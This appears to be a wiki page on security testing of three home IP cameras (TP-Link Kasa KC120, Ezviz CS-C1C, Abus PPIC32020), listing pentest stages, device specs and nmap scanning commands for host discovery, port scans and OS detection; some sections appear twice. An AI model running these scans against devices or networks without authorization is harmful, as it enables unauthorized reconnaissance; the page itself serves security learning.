$sudo nmap 192.168.8.103 -O Remote OS detection using TCP/IP

=== Step 2 ===

== Used Hardware ==

* [https://www.tp-link.com/de/home-networking/cloud-camera/kc120/ TP-Link Kasa Smart Home Camera KC120]
* [https://www.ezviz.com/product/c1c/1425 Ezviz CS-C1C]
* [https://www.abus.com/eng/Home-Security/Video-Surveillance/Surveillance-cameras/WLAN-network-cameras/WLAN-pan-tilt-cameras/ABUS-Smart-Security-World-Wi-Fi-Pan-Tilt-Indoor-Camera Abus PPIC32020]

== References ==

* https://tools.kali.org/tools-listing

[[Category:Pentesting]]

IOT Security: Pentesting on IP Cameras

2022-06-13T09:12:40Z

RCox: /* Requirements */

== Summary ==

This is a documentation on pentesting (information gathering and vulnerability scans) performed on TP-link Kasa Cam Smart Home Camera KC120, Ezviz CS-C1C and Abus PPIC32020.

== Requirements ==

Operating System
* Kali Linux 2022.2
Hardware
* TP-link Kasa Cam Smart Home Camera KC120
Encryption: 128-Bit-AES, WPA/WPA2-PSK
 Storage: Amazon Web Services (AWS) Cloud
* Ezviz CS-C1C
Encryption: 64/128-bit WEP, WPA/WPA2, WPA-PSK/WPA2-PSK
 
Storage: EZVIZ cloud or/and MicroSD
* Abus PPIC32020
Encryption: AES 128bit, WPA/WPA2-PSK
 
Storage: MicroSD

 
Apps
* Kasa Smartphone application (IOS or Android)
* Ezviz Smartphone application (IOS or Android)
* ABUS App2Cam Plus Smartphone application (IOS or Android)

== Description ==

A penetration test can be divided into several stages:

*Planning
Working with a costumer to absolutely outline and report evaluation objectives, scope, and policies of engagement.

*Gathering Information
Collecting and examing key data approximately the software and its infrastructure.

*Discovering Vulnerabilities
Find current vulnerabilities and identify any potential security weaknesses that could allow an outside attacker to gain access to the environment.

*Exploitation
The pentester tries to establish a connection with the target and exploit the vulnerabilities found in the previous phase.

*Reporting
Providing a complete documentation with deep evaluation and suggestions on the way to mitigate the found vulnerabilities.

=== Planning ===

You need to set up the camera at home together with your phone app and allow it to connect with the identical WiFi that your smartphone uses.
To find out the IP Address of the camera you need to install scanning tools, that can gain access to devices in your subnet.

=== Scanning ===

Target Specification
$sudo nmap 192.168.8.103 Scan a single IP

Enables OS detection, version detection, script scanning, and traceroute
$sudo nmap -sV -A 192.168.8.103

Scan TCP/UDP Ports
$sudo nmap 192.168.8.103 -sT TCP connect port scan (Default without root privilege)
$sudo nmap 192.168.8.103 -sU UDP port scan

Host Discovery and Port Scan
$sudo nmap 192.168.8.1/24 -sn Disable port scanning. Host discovery only.
$sudo nmap 192.168.8.1-254 -Pn Disable host discovery. Port scan only. (If the host is down)

Port Specification
$sudo nmap 192.168.8.103 -p- Port scan all ports

OS Detection
$sudo nmap 192.168.8.103 -O Remote OS detection using TCP/IP

=== Step 2 ===

== Used Hardware ==

* [https://www.tp-link.com/de/home-networking/cloud-camera/kc120/ TP-Link Kasa Smart Home Camera KC120]
* [https://www.ezviz.com/product/c1c/1425 Ezviz CS-C1C]
* [https://www.abus.com/eng/Home-Security/Video-Surveillance/Surveillance-cameras/WLAN-network-cameras/WLAN-pan-tilt-cameras/ABUS-Smart-Security-World-Wi-Fi-Pan-Tilt-Indoor-Camera Abus PPIC32020]

== References ==

* https://tools.kali.org/tools-listing

[[Category:Pentesting]]